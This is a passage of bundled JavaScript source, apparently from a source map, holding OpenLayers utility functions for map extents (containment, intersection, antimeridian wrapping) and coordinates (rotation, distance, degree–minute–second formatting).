*/\nexport function containsExtent(extent1, extent2) {\n return (extent1[0] <= extent2[0] &&\n extent2[2] <= extent1[2] &&\n extent1[1] <= extent2[1] &&\n extent2[3] <= extent1[3]);\n}\n/**\n * Check if the passed coordinate is contained or on the edge of the extent.\n *\n * @param {Extent} extent Extent.\n * @param {number} x X coordinate.\n * @param {number} y Y coordinate.\n * @return {boolean} The x, y values are contained in the extent.\n * @api\n */\nexport function containsXY(extent, x, y) {\n return extent[0] <= x && x <= extent[2] && extent[1] <= y && y <= extent[3];\n}\n/**\n * Get the relationship between a coordinate and extent.\n * @param {Extent} extent The extent.\n * @param {import(\"./coordinate.js\").Coordinate} coordinate The coordinate.\n * @return {import(\"./extent/Relationship.js\").default} The relationship (bitwise compare with\n * import(\"./extent/Relationship.js\").Relationship).\n */\nexport function coordinateRelationship(extent, coordinate) {\n var minX = extent[0];\n var minY = extent[1];\n var maxX = extent[2];\n var maxY = extent[3];\n var x = coordinate[0];\n var y = coordinate[1];\n var relationship = Relationship.UNKNOWN;\n if (x < minX) {\n relationship = relationship | Relationship.LEFT;\n }\n else if (x > maxX) {\n relationship = relationship | Relationship.RIGHT;\n }\n if (y < minY) {\n relationship = relationship | Relationship.BELOW;\n }\n else if (y > maxY) {\n relationship = relationship | Relationship.ABOVE;\n }\n if (relationship === Relationship.UNKNOWN) {\n relationship = Relationship.INTERSECTING;\n }\n return relationship;\n}\n/**\n * Create an empty extent.\n * @return {Extent} Empty extent.\n * @api\n */\nexport function createEmpty() {\n return [Infinity, Infinity, -Infinity, -Infinity];\n}\n/**\n * Create a new extent or update the provided extent.\n * @param {number} minX Minimum X.\n * @param {number} minY Minimum Y.\n * @param {number} maxX Maximum X.\n * @param {number} maxY Maximum Y.\n * @param {Extent} [opt_extent] Destination extent.\n * @return {Extent} Extent.\n */\nexport function createOrUpdate(minX, minY, maxX, maxY, opt_extent) {\n if (opt_extent) {\n opt_extent[0] = minX;\n opt_extent[1] = minY;\n opt_extent[2] = maxX;\n opt_extent[3] = maxY;\n return opt_extent;\n }\n else {\n return [minX, minY, maxX, maxY];\n }\n}\n/**\n * Create a new empty extent or make the provided one empty.\n * @param {Extent} [opt_extent] Extent.\n * @return {Extent} Extent.\n */\nexport function createOrUpdateEmpty(opt_extent) {\n return createOrUpdate(Infinity, Infinity, -Infinity, -Infinity, opt_extent);\n}\n/**\n * @param {import(\"./coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {Extent} [opt_extent] Extent.\n * @return {Extent} Extent.\n */\nexport function createOrUpdateFromCoordinate(coordinate, opt_extent) {\n var x = coordinate[0];\n var y = coordinate[1];\n return createOrUpdate(x, y, x, y, opt_extent);\n}\n/**\n * @param {Array<import(\"./coordinate.js\").Coordinate>} coordinates Coordinates.\n * @param {Extent} [opt_extent] Extent.\n * @return {Extent} Extent.\n */\nexport function createOrUpdateFromCoordinates(coordinates, opt_extent) {\n var extent = createOrUpdateEmpty(opt_extent);\n return extendCoordinates(extent, coordinates);\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {Extent} [opt_extent] Extent.\n * @return {Extent} Extent.\n */\nexport function createOrUpdateFromFlatCoordinates(flatCoordinates, offset, end, stride, opt_extent) {\n var extent = createOrUpdateEmpty(opt_extent);\n return extendFlatCoordinates(extent, flatCoordinates, offset, end, stride);\n}\n/**\n * @param {Array<Array<import(\"./coordinate.js\").Coordinate>>} rings Rings.\n * @param {Extent} [opt_extent] Extent.\n * @return {Extent} Extent.\n */\nexport function createOrUpdateFromRings(rings, opt_extent) {\n var extent = createOrUpdateEmpty(opt_extent);\n return extendRings(extent, rings);\n}\n/**\n * Determine if two extents are equivalent.\n * @param {Extent} extent1 Extent 1.\n * @param {Extent} extent2 Extent 2.\n * @return {boolean} The two extents are equivalent.\n * @api\n */\nexport function equals(extent1, extent2) {\n return (extent1[0] == extent2[0] &&\n extent1[2] == extent2[2] &&\n extent1[1] == extent2[1] &&\n extent1[3] == extent2[3]);\n}\n/**\n * Determine if two extents are approximately equivalent.\n * @param {Extent} extent1 Extent 1.\n * @param {Extent} extent2 Extent 2.\n * @param {number} tolerance Tolerance in extent coordinate units.\n * @return {boolean} The two extents differ by less than the tolerance.\n */\nexport function approximatelyEquals(extent1, extent2, tolerance) {\n return (Math.abs(extent1[0] - extent2[0]) < tolerance &&\n Math.abs(extent1[2] - extent2[2]) < tolerance &&\n Math.abs(extent1[1] - extent2[1]) < tolerance &&\n Math.abs(extent1[3] - extent2[3]) < tolerance);\n}\n/**\n * Modify an extent to include another extent.\n * @param {Extent} extent1 The extent to be modified.\n * @param {Extent} extent2 The extent that will be included in the first.\n * @return {Extent} A reference to the first (extended) extent.\n * @api\n */\nexport function extend(extent1, extent2) {\n if (extent2[0] < extent1[0]) {\n extent1[0] = extent2[0];\n }\n if (extent2[2] > extent1[2]) {\n extent1[2] = extent2[2];\n }\n if (extent2[1] < extent1[1]) {\n extent1[1] = extent2[1];\n }\n if (extent2[3] > extent1[3]) {\n extent1[3] = extent2[3];\n }\n return extent1;\n}\n/**\n * @param {Extent} extent Extent.\n * @param {import(\"./coordinate.js\").Coordinate} coordinate Coordinate.\n */\nexport function extendCoordinate(extent, coordinate) {\n if (coordinate[0] < extent[0]) {\n extent[0] = coordinate[0];\n }\n if (coordinate[0] > extent[2]) {\n extent[2] = coordinate[0];\n }\n if (coordinate[1] < extent[1]) {\n extent[1] = coordinate[1];\n }\n if (coordinate[1] > extent[3]) {\n extent[3] = coordinate[1];\n }\n}\n/**\n * @param {Extent} extent Extent.\n * @param {Array<import(\"./coordinate.js\").Coordinate>} coordinates Coordinates.\n * @return {Extent} Extent.\n */\nexport function extendCoordinates(extent, coordinates) {\n for (var i = 0, ii = coordinates.length; i < ii; ++i) {\n extendCoordinate(extent, coordinates[i]);\n }\n return extent;\n}\n/**\n * @param {Extent} extent Extent.\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @return {Extent} Extent.\n */\nexport function extendFlatCoordinates(extent, flatCoordinates, offset, end, stride) {\n for (; offset < end; offset += stride) {\n extendXY(extent, flatCoordinates[offset], flatCoordinates[offset + 1]);\n }\n return extent;\n}\n/**\n * @param {Extent} extent Extent.\n * @param {Array<Array<import(\"./coordinate.js\").Coordinate>>} rings Rings.\n * @return {Extent} Extent.\n */\nexport function extendRings(extent, rings) {\n for (var i = 0, ii = rings.length; i < ii; ++i) {\n extendCoordinates(extent, rings[i]);\n }\n return extent;\n}\n/**\n * @param {Extent} extent Extent.\n * @param {number} x X.\n * @param {number} y Y.\n */\nexport function extendXY(extent, x, y) {\n extent[0] = Math.min(extent[0], x);\n extent[1] = Math.min(extent[1], y);\n extent[2] = Math.max(extent[2], x);\n extent[3] = Math.max(extent[3], y);\n}\n/**\n * This function calls `callback` for each corner of the extent. If the\n * callback returns a truthy value the function returns that value\n * immediately. Otherwise the function returns `false`.\n * @param {Extent} extent Extent.\n * @param {function(import(\"./coordinate.js\").Coordinate): S} callback Callback.\n * @return {S|boolean} Value.\n * @template S\n */\nexport function forEachCorner(extent, callback) {\n var val;\n val = callback(getBottomLeft(extent));\n if (val) {\n return val;\n }\n val = callback(getBottomRight(extent));\n if (val) {\n return val;\n }\n val = callback(getTopRight(extent));\n if (val) {\n return val;\n }\n val = callback(getTopLeft(extent));\n if (val) {\n return val;\n }\n return false;\n}\n/**\n * Get the size of an extent.\n * @param {Extent} extent Extent.\n * @return {number} Area.\n * @api\n */\nexport function getArea(extent) {\n var area = 0;\n if (!isEmpty(extent)) {\n area = getWidth(extent) * getHeight(extent);\n }\n return area;\n}\n/**\n * Get the bottom left coordinate of an extent.\n * @param {Extent} extent Extent.\n * @return {import(\"./coordinate.js\").Coordinate} Bottom left coordinate.\n * @api\n */\nexport function getBottomLeft(extent) {\n return [extent[0], extent[1]];\n}\n/**\n * Get the bottom right coordinate of an extent.\n * @param {Extent} extent Extent.\n * @return {import(\"./coordinate.js\").Coordinate} Bottom right coordinate.\n * @api\n */\nexport function getBottomRight(extent) {\n return [extent[2], extent[1]];\n}\n/**\n * Get the center coordinate of an extent.\n * @param {Extent} extent Extent.\n * @return {import(\"./coordinate.js\").Coordinate} Center.\n * @api\n */\nexport function getCenter(extent) {\n return [(extent[0] + extent[2]) / 2, (extent[1] + extent[3]) / 2];\n}\n/**\n * Get a corner coordinate of an extent.\n * @param {Extent} extent Extent.\n * @param {Corner} corner Corner.\n * @return {import(\"./coordinate.js\").Coordinate} Corner coordinate.\n */\nexport function getCorner(extent, corner) {\n var coordinate;\n if (corner === 'bottom-left') {\n coordinate = getBottomLeft(extent);\n }\n else if (corner === 'bottom-right') {\n coordinate = getBottomRight(extent);\n }\n else if (corner === 'top-left') {\n coordinate = getTopLeft(extent);\n }\n else if (corner === 'top-right') {\n coordinate = getTopRight(extent);\n }\n else {\n assert(false, 13); // Invalid corner\n }\n return coordinate;\n}\n/**\n * @param {Extent} extent1 Extent 1.\n * @param {Extent} extent2 Extent 2.\n * @return {number} Enlarged area.\n */\nexport function getEnlargedArea(extent1, extent2) {\n var minX = Math.min(extent1[0], extent2[0]);\n var minY = Math.min(extent1[1], extent2[1]);\n var maxX = Math.max(extent1[2], extent2[2]);\n var maxY = Math.max(extent1[3], extent2[3]);\n return (maxX - minX) * (maxY - minY);\n}\n/**\n * @param {import(\"./coordinate.js\").Coordinate} center Center.\n * @param {number} resolution Resolution.\n * @param {number} rotation Rotation.\n * @param {import(\"./size.js\").Size} size Size.\n * @param {Extent} [opt_extent] Destination extent.\n * @return {Extent} Extent.\n */\nexport function getForViewAndSize(center, resolution, rotation, size, opt_extent) {\n var _a = getRotatedViewport(center, resolution, rotation, size), x0 = _a[0], y0 = _a[1], x1 = _a[2], y1 = _a[3], x2 = _a[4], y2 = _a[5], x3 = _a[6], y3 = _a[7];\n return createOrUpdate(Math.min(x0, x1, x2, x3), Math.min(y0, y1, y2, y3), Math.max(x0, x1, x2, x3), Math.max(y0, y1, y2, y3), opt_extent);\n}\n/**\n * @param {import(\"./coordinate.js\").Coordinate} center Center.\n * @param {number} resolution Resolution.\n * @param {number} rotation Rotation.\n * @param {import(\"./size.js\").Size} size Size.\n * @return {Array<number>} Linear ring representing the viewport.\n */\nexport function getRotatedViewport(center, resolution, rotation, size) {\n var dx = (resolution * size[0]) / 2;\n var dy = (resolution * size[1]) / 2;\n var cosRotation = Math.cos(rotation);\n var sinRotation = Math.sin(rotation);\n var xCos = dx * cosRotation;\n var xSin = dx * sinRotation;\n var yCos = dy * cosRotation;\n var ySin = dy * sinRotation;\n var x = center[0];\n var y = center[1];\n return [\n x - xCos + ySin,\n y - xSin - yCos,\n x - xCos - ySin,\n y - xSin + yCos,\n x + xCos - ySin,\n y + xSin + yCos,\n x + xCos + ySin,\n y + xSin - yCos,\n x - xCos + ySin,\n y - xSin - yCos,\n ];\n}\n/**\n * Get the height of an extent.\n * @param {Extent} extent Extent.\n * @return {number} Height.\n * @api\n */\nexport function getHeight(extent) {\n return extent[3] - extent[1];\n}\n/**\n * @param {Extent} extent1 Extent 1.\n * @param {Extent} extent2 Extent 2.\n * @return {number} Intersection area.\n */\nexport function getIntersectionArea(extent1, extent2) {\n var intersection = getIntersection(extent1, extent2);\n return getArea(intersection);\n}\n/**\n * Get the intersection of two extents.\n * @param {Extent} extent1 Extent 1.\n * @param {Extent} extent2 Extent 2.\n * @param {Extent} [opt_extent] Optional extent to populate with intersection.\n * @return {Extent} Intersecting extent.\n * @api\n */\nexport function getIntersection(extent1, extent2, opt_extent) {\n var intersection = opt_extent ? opt_extent : createEmpty();\n if (intersects(extent1, extent2)) {\n if (extent1[0] > extent2[0]) {\n intersection[0] = extent1[0];\n }\n else {\n intersection[0] = extent2[0];\n }\n if (extent1[1] > extent2[1]) {\n intersection[1] = extent1[1];\n }\n else {\n intersection[1] = extent2[1];\n }\n if (extent1[2] < extent2[2]) {\n intersection[2] = extent1[2];\n }\n else {\n intersection[2] = extent2[2];\n }\n if (extent1[3] < extent2[3]) {\n intersection[3] = extent1[3];\n }\n else {\n intersection[3] = extent2[3];\n }\n }\n else {\n createOrUpdateEmpty(intersection);\n }\n return intersection;\n}\n/**\n * @param {Extent} extent Extent.\n * @return {number} Margin.\n */\nexport function getMargin(extent) {\n return getWidth(extent) + getHeight(extent);\n}\n/**\n * Get the size (width, height) of an extent.\n * @param {Extent} extent The extent.\n * @return {import(\"./size.js\").Size} The extent size.\n * @api\n */\nexport function getSize(extent) {\n return [extent[2] - extent[0], extent[3] - extent[1]];\n}\n/**\n * Get the top left coordinate of an extent.\n * @param {Extent} extent Extent.\n * @return {import(\"./coordinate.js\").Coordinate} Top left coordinate.\n * @api\n */\nexport function getTopLeft(extent) {\n return [extent[0], extent[3]];\n}\n/**\n * Get the top right coordinate of an extent.\n * @param {Extent} extent Extent.\n * @return {import(\"./coordinate.js\").Coordinate} Top right coordinate.\n * @api\n */\nexport function getTopRight(extent) {\n return [extent[2], extent[3]];\n}\n/**\n * Get the width of an extent.\n * @param {Extent} extent Extent.\n * @return {number} Width.\n * @api\n */\nexport function getWidth(extent) {\n return extent[2] - extent[0];\n}\n/**\n * Determine if one extent intersects another.\n * @param {Extent} extent1 Extent 1.\n * @param {Extent} extent2 Extent.\n * @return {boolean} The two extents intersect.\n * @api\n */\nexport function intersects(extent1, extent2) {\n return (extent1[0] <= extent2[2] &&\n extent1[2] >= extent2[0] &&\n extent1[1] <= extent2[3] &&\n extent1[3] >= extent2[1]);\n}\n/**\n * Determine if an extent is empty.\n * @param {Extent} extent Extent.\n * @return {boolean} Is empty.\n * @api\n */\nexport function isEmpty(extent) {\n return extent[2] < extent[0] || extent[3] < extent[1];\n}\n/**\n * @param {Extent} extent Extent.\n * @param {Extent} [opt_extent] Extent.\n * @return {Extent} Extent.\n */\nexport function returnOrUpdate(extent, opt_extent) {\n if (opt_extent) {\n opt_extent[0] = extent[0];\n opt_extent[1] = extent[1];\n opt_extent[2] = extent[2];\n opt_extent[3] = extent[3];\n return opt_extent;\n }\n else {\n return extent;\n }\n}\n/**\n * @param {Extent} extent Extent.\n * @param {number} value Value.\n */\nexport function scaleFromCenter(extent, value) {\n var deltaX = ((extent[2] - extent[0]) / 2) * (value - 1);\n var deltaY = ((extent[3] - extent[1]) / 2) * (value - 1);\n extent[0] -= deltaX;\n extent[2] += deltaX;\n extent[1] -= deltaY;\n extent[3] += deltaY;\n}\n/**\n * Determine if the segment between two coordinates intersects (crosses,\n * touches, or is contained by) the provided extent.\n * @param {Extent} extent The extent.\n * @param {import(\"./coordinate.js\").Coordinate} start Segment start coordinate.\n * @param {import(\"./coordinate.js\").Coordinate} end Segment end coordinate.\n * @return {boolean} The segment intersects the extent.\n */\nexport function intersectsSegment(extent, start, end) {\n var intersects = false;\n var startRel = coordinateRelationship(extent, start);\n var endRel = coordinateRelationship(extent, end);\n if (startRel === Relationship.INTERSECTING ||\n endRel === Relationship.INTERSECTING) {\n intersects = true;\n }\n else {\n var minX = extent[0];\n var minY = extent[1];\n var maxX = extent[2];\n var maxY = extent[3];\n var startX = start[0];\n var startY = start[1];\n var endX = end[0];\n var endY = end[1];\n var slope = (endY - startY) / (endX - startX);\n var x = void 0, y = void 0;\n if (!!(endRel & Relationship.ABOVE) && !(startRel & Relationship.ABOVE)) {\n // potentially intersects top\n x = endX - (endY - maxY) / slope;\n intersects = x >= minX && x <= maxX;\n }\n if (!intersects &&\n !!(endRel & Relationship.RIGHT) &&\n !(startRel & Relationship.RIGHT)) {\n // potentially intersects right\n y = endY - (endX - maxX) * slope;\n intersects = y >= minY && y <= maxY;\n }\n if (!intersects &&\n !!(endRel & Relationship.BELOW) &&\n !(startRel & Relationship.BELOW)) {\n // potentially intersects bottom\n x = endX - (endY - minY) / slope;\n intersects = x >= minX && x <= maxX;\n }\n if (!intersects &&\n !!(endRel & Relationship.LEFT) &&\n !(startRel & Relationship.LEFT)) {\n // potentially intersects left\n y = endY - (endX - minX) * slope;\n intersects = y >= minY && y <= maxY;\n }\n }\n return intersects;\n}\n/**\n * Apply a transform function to the extent.\n * @param {Extent} extent Extent.\n * @param {import(\"./proj.js\").TransformFunction} transformFn Transform function.\n * Called with `[minX, minY, maxX, maxY]` extent coordinates.\n * @param {Extent} [opt_extent] Destination extent.\n * @param {number} [opt_stops] Number of stops per side used for the transform.\n * By default only the corners are used.\n * @return {Extent} Extent.\n * @api\n */\nexport function applyTransform(extent, transformFn, opt_extent, opt_stops) {\n var coordinates = [];\n if (opt_stops > 1) {\n var width = extent[2] - extent[0];\n var height = extent[3] - extent[1];\n for (var i = 0; i < opt_stops; ++i) {\n coordinates.push(extent[0] + (width * i) / opt_stops, extent[1], extent[2], extent[1] + (height * i) / opt_stops, extent[2] - (width * i) / opt_stops, extent[3], extent[0], extent[3] - (height * i) / opt_stops);\n }\n }\n else {\n coordinates = [\n extent[0],\n extent[1],\n extent[2],\n extent[1],\n extent[2],\n extent[3],\n extent[0],\n extent[3],\n ];\n }\n transformFn(coordinates, coordinates, 2);\n var xs = [];\n var ys = [];\n for (var i = 0, l = coordinates.length; i < l; i += 2) {\n xs.push(coordinates[i]);\n ys.push(coordinates[i + 1]);\n }\n return _boundingExtentXYs(xs, ys, opt_extent);\n}\n/**\n * Modifies the provided extent in-place to be within the real world\n * extent.\n *\n * @param {Extent} extent Extent.\n * @param {import(\"./proj/Projection.js\").default} projection Projection\n * @return {Extent} The extent within the real world extent.\n */\nexport function wrapX(extent, projection) {\n var projectionExtent = projection.getExtent();\n var center = getCenter(extent);\n if (projection.canWrapX() &&\n (center[0] < projectionExtent[0] || center[0] >= projectionExtent[2])) {\n var worldWidth = getWidth(projectionExtent);\n var worldsAway = Math.floor((center[0] - projectionExtent[0]) / worldWidth);\n var offset = worldsAway * worldWidth;\n extent[0] -= offset;\n extent[2] -= offset;\n }\n return extent;\n}\n/**\n * Fits the extent to the real world\n *\n * If the extent does not cross the anti meridian, this will return the extent in an array\n * If the extent crosses the anti meridian, the extent will be sliced, so each part fits within the\n * real world\n *\n *\n * @param {Extent} extent Extent.\n * @param {import(\"./proj/Projection.js\").default} projection Projection\n * @return {Array<Extent>} The extent within the real world extent.\n */\nexport function wrapAndSliceX(extent, projection) {\n if (projection.canWrapX()) {\n var projectionExtent = projection.getExtent();\n if (!isFinite(extent[0]) || !isFinite(extent[2])) {\n return [[projectionExtent[0], extent[1], projectionExtent[2], extent[3]]];\n }\n wrapX(extent, projection);\n var worldWidth = getWidth(projectionExtent);\n if (getWidth(extent) > worldWidth) {\n // the extent wraps around on itself\n return [[projectionExtent[0], extent[1], projectionExtent[2], extent[3]]];\n }\n else if (extent[0] < projectionExtent[0]) {\n // the extent crosses the anti meridian, so it needs to be sliced\n return [\n [extent[0] + worldWidth, extent[1], projectionExtent[2], extent[3]],\n [projectionExtent[0], extent[1], extent[2], extent[3]],\n ];\n }\n else if (extent[2] > projectionExtent[2]) {\n // the extent crosses the anti meridian, so it needs to be sliced\n return [\n [extent[0], extent[1], projectionExtent[2], extent[3]],\n [projectionExtent[0], extent[1], extent[2] - worldWidth, extent[3]],\n ];\n }\n }\n return [extent];\n}\n//# sourceMappingURL=extent.js.map","/**\n * @module ol/extent/Relationship\n */\n/**\n * Relationship to an extent.\n * @enum {number}\n */\nexport default {\n UNKNOWN: 0,\n INTERSECTING: 1,\n ABOVE: 2,\n RIGHT: 4,\n BELOW: 8,\n LEFT: 16,\n};\n//# sourceMappingURL=Relationship.js.map","/**\n * @module ol/coordinate\n */\nimport { getWidth } from './extent.js';\nimport { modulo } from './math.js';\nimport { padNumber } from './string.js';\n/**\n * An array of numbers representing an xy coordinate. Example: `[16, 48]`.\n * @typedef {Array<number>} Coordinate\n * @api\n */\n/**\n * A function that takes a {@link module:ol/coordinate~Coordinate} and\n * transforms it into a `{string}`.\n *\n * @typedef {function((Coordinate|undefined)): string} CoordinateFormat\n * @api\n */\n/**\n * Add `delta` to `coordinate`. `coordinate` is modified in place and returned\n * by the function.\n *\n * Example:\n *\n * import {add} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * add(coord, [-2, 4]);\n * // coord is now [5.85, 51.983333]\n *\n * @param {Coordinate} coordinate Coordinate.\n * @param {Coordinate} delta Delta.\n * @return {Coordinate} The input coordinate adjusted by\n * the given delta.\n * @api\n */\nexport function add(coordinate, delta) {\n coordinate[0] += +delta[0];\n coordinate[1] += +delta[1];\n return coordinate;\n}\n/**\n * Calculates the point closest to the passed coordinate on the passed circle.\n *\n * @param {Coordinate} coordinate The coordinate.\n * @param {import(\"./geom/Circle.js\").default} circle The circle.\n * @return {Coordinate} Closest point on the circumference.\n */\nexport function closestOnCircle(coordinate, circle) {\n var r = circle.getRadius();\n var center = circle.getCenter();\n var x0 = center[0];\n var y0 = center[1];\n var x1 = coordinate[0];\n var y1 = coordinate[1];\n var dx = x1 - x0;\n var dy = y1 - y0;\n if (dx === 0 && dy === 0) {\n dx = 1;\n }\n var d = Math.sqrt(dx * dx + dy * dy);\n var x = x0 + (r * dx) / d;\n var y = y0 + (r * dy) / d;\n return [x, y];\n}\n/**\n * Calculates the point closest to the passed coordinate on the passed segment.\n * This is the foot of the perpendicular of the coordinate to the segment when\n * the foot is on the segment, or the closest segment coordinate when the foot\n * is outside the segment.\n *\n * @param {Coordinate} coordinate The coordinate.\n * @param {Array<Coordinate>} segment The two coordinates\n * of the segment.\n * @return {Coordinate} The foot of the perpendicular of\n * the coordinate to the segment.\n */\nexport function closestOnSegment(coordinate, segment) {\n var x0 = coordinate[0];\n var y0 = coordinate[1];\n var start = segment[0];\n var end = segment[1];\n var x1 = start[0];\n var y1 = start[1];\n var x2 = end[0];\n var y2 = end[1];\n var dx = x2 - x1;\n var dy = y2 - y1;\n var along = dx === 0 && dy === 0\n ? 0\n : (dx * (x0 - x1) + dy * (y0 - y1)) / (dx * dx + dy * dy || 0);\n var x, y;\n if (along <= 0) {\n x = x1;\n y = y1;\n }\n else if (along >= 1) {\n x = x2;\n y = y2;\n }\n else {\n x = x1 + along * dx;\n y = y1 + along * dy;\n }\n return [x, y];\n}\n/**\n * Returns a {@link module:ol/coordinate~CoordinateFormat} function that can be\n * used to format\n * a {Coordinate} to a string.\n *\n * Example without specifying the fractional digits:\n *\n * import {createStringXY} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * var stringifyFunc = createStringXY();\n * var out = stringifyFunc(coord);\n * // out is now '8, 48'\n *\n * Example with explicitly specifying 2 fractional digits:\n *\n * import {createStringXY} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * var stringifyFunc = createStringXY(2);\n * var out = stringifyFunc(coord);\n * // out is now '7.85, 47.98'\n *\n * @param {number} [opt_fractionDigits] The number of digits to include\n * after the decimal point. Default is `0`.\n * @return {CoordinateFormat} Coordinate format.\n * @api\n */\nexport function createStringXY(opt_fractionDigits) {\n return (\n /**\n * @param {Coordinate} coordinate Coordinate.\n * @return {string} String XY.\n */\n function (coordinate) {\n return toStringXY(coordinate, opt_fractionDigits);\n });\n}\n/**\n * @param {string} hemispheres Hemispheres.\n * @param {number} degrees Degrees.\n * @param {number} [opt_fractionDigits] The number of digits to include\n * after the decimal point. Default is `0`.\n * @return {string} String.\n */\nexport function degreesToStringHDMS(hemispheres, degrees, opt_fractionDigits) {\n var normalizedDegrees = modulo(degrees + 180, 360) - 180;\n var x = Math.abs(3600 * normalizedDegrees);\n var dflPrecision = opt_fractionDigits || 0;\n var precision = Math.pow(10, dflPrecision);\n var deg = Math.floor(x / 3600);\n var min = Math.floor((x - deg * 3600) / 60);\n var sec = x - deg * 3600 - min * 60;\n sec = Math.ceil(sec * precision) / precision;\n if (sec >= 60) {\n sec = 0;\n min += 1;\n }\n if (min >= 60) {\n min = 0;\n deg += 1;\n }\n return (deg +\n '\\u00b0 ' +\n padNumber(min, 2) +\n '\\u2032 ' +\n padNumber(sec, 2, dflPrecision) +\n '\\u2033' +\n (normalizedDegrees == 0\n ? ''\n : ' ' + hemispheres.charAt(normalizedDegrees < 0 ? 1 : 0)));\n}\n/**\n * Transforms the given {@link module:ol/coordinate~Coordinate} to a string\n * using the given string template. The strings `{x}` and `{y}` in the template\n * will be replaced with the first and second coordinate values respectively.\n *\n * Example without specifying the fractional digits:\n *\n * import {format} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * var template = 'Coordinate is ({x}|{y}).';\n * var out = format(coord, template);\n * // out is now 'Coordinate is (8|48).'\n *\n * Example explicitly specifying the fractional digits:\n *\n * import {format} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * var template = 'Coordinate is ({x}|{y}).';\n * var out = format(coord, template, 2);\n * // out is now 'Coordinate is (7.85|47.98).'\n *\n * @param {Coordinate} coordinate Coordinate.\n * @param {string} template A template string with `{x}` and `{y}` placeholders\n * that will be replaced by first and second coordinate values.\n * @param {number} [opt_fractionDigits] The number of digits to include\n * after the decimal point. Default is `0`.\n * @return {string} Formatted coordinate.\n * @api\n */\nexport function format(coordinate, template, opt_fractionDigits) {\n if (coordinate) {\n return template\n .replace('{x}', coordinate[0].toFixed(opt_fractionDigits))\n .replace('{y}', coordinate[1].toFixed(opt_fractionDigits));\n }\n else {\n return '';\n }\n}\n/**\n * @param {Coordinate} coordinate1 First coordinate.\n * @param {Coordinate} coordinate2 Second coordinate.\n * @return {boolean} The two coordinates are equal.\n */\nexport function equals(coordinate1, coordinate2) {\n var equals = true;\n for (var i = coordinate1.length - 1; i >= 0; --i) {\n if (coordinate1[i] != coordinate2[i]) {\n equals = false;\n break;\n }\n }\n return equals;\n}\n/**\n * Rotate `coordinate` by `angle`. `coordinate` is modified in place and\n * returned by the function.\n *\n * Example:\n *\n * import {rotate} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * var rotateRadians = Math.PI / 2; // 90 degrees\n * rotate(coord, rotateRadians);\n * // coord is now [-47.983333, 7.85]\n *\n * @param {Coordinate} coordinate Coordinate.\n * @param {number} angle Angle in radian.\n * @return {Coordinate} Coordinate.\n * @api\n */\nexport function rotate(coordinate, angle) {\n var cosAngle = Math.cos(angle);\n var sinAngle = Math.sin(angle);\n var x = coordinate[0] * cosAngle - coordinate[1] * sinAngle;\n var y = coordinate[1] * cosAngle + coordinate[0] * sinAngle;\n coordinate[0] = x;\n coordinate[1] = y;\n return coordinate;\n}\n/**\n * Scale `coordinate` by `scale`. `coordinate` is modified in place and returned\n * by the function.\n *\n * Example:\n *\n * import {scale as scaleCoordinate} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * var scale = 1.2;\n * scaleCoordinate(coord, scale);\n * // coord is now [9.42, 57.5799996]\n *\n * @param {Coordinate} coordinate Coordinate.\n * @param {number} scale Scale factor.\n * @return {Coordinate} Coordinate.\n */\nexport function scale(coordinate, scale) {\n coordinate[0] *= scale;\n coordinate[1] *= scale;\n return coordinate;\n}\n/**\n * @param {Coordinate} coord1 First coordinate.\n * @param {Coordinate} coord2 Second coordinate.\n * @return {number} Squared distance between coord1 and coord2.\n */\nexport function squaredDistance(coord1, coord2) {\n var dx = coord1[0] - coord2[0];\n var dy = coord1[1] - coord2[1];\n return dx * dx + dy * dy;\n}\n/**\n * @param {Coordinate} coord1 First coordinate.\n * @param {Coordinate} coord2 Second coordinate.\n * @return {number} Distance between coord1 and coord2.\n */\nexport function distance(coord1, coord2) {\n return Math.sqrt(squaredDistance(coord1, coord2));\n}\n/**\n * Calculate the squared distance from a coordinate to a line segment.\n *\n * @param {Coordinate} coordinate Coordinate of the point.\n * @param {Array<Coordinate>} segment Line segment (2\n * coordinates).\n * @return {number} Squared distance from the point to the line segment.\n */\nexport function squaredDistanceToSegment(coordinate, segment) {\n return squaredDistance(coordinate, closestOnSegment(coordinate, segment));\n}\n/**\n * Format a geographic coordinate with the hemisphere, degrees, minutes, and\n * seconds.\n *\n * Example without specifying fractional digits:\n *\n * import {toStringHDMS} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * var out = toStringHDMS(coord);\n * // out is now '47° 58′ 60″ N 7° 50′ 60″ E'\n *\n * Example explicitly specifying 1 fractional digit:\n *\n * import {toStringHDMS} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * var out = toStringHDMS(coord, 1);\n * // out is now '47° 58′ 60.0″ N 7° 50′ 60.0″ E'\n *\n * @param {Coordinate} coordinate Coordinate.\n * @param {number} [opt_fractionDigits] The number of digits to include\n * after the decimal point. Default is `0`.\n * @return {string} Hemisphere, degrees, minutes and seconds.\n * @api\n */\nexport function toStringHDMS(coordinate, opt_fractionDigits) {\n if (coordinate) {\n return (degreesToStringHDMS('NS', coordinate[1], opt_fractionDigits) +\n ' ' +\n degreesToStringHDMS('EW', coordinate[0], opt_fractionDigits));\n }\n else {\n return '';\n }\n}\n/**\n * Format a coordinate as a comma delimited string.\n *\n * Example without specifying fractional digits:\n *\n * import {toStringXY} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * var out = toStringXY(coord);\n * // out is now '8, 48'\n *\n * Example explicitly specifying 1 fractional digit:\n *\n * import {toStringXY} from 'ol/coordinate';\n *\n * var coord = [7.85, 47.983333];\n * var out = toStringXY(coord, 1);\n * // out is now '7.8, 48.0'\n *\n * @param {Coordinate} coordinate Coordinate.\n * @param {number} [opt_fractionDigits] The number of digits to include\n * after the decimal point. Default is `0`.\n * @return {string} XY.\n * @api\n */\nexport function toStringXY(coordinate, opt_fractionDigits) {\n return format(coordinate, '{x}, {y}', opt_fractionDigits);\n}\n/**\n * Modifies the provided coordinate in-place to be within the real world\n * extent. The lower projection extent boundary is 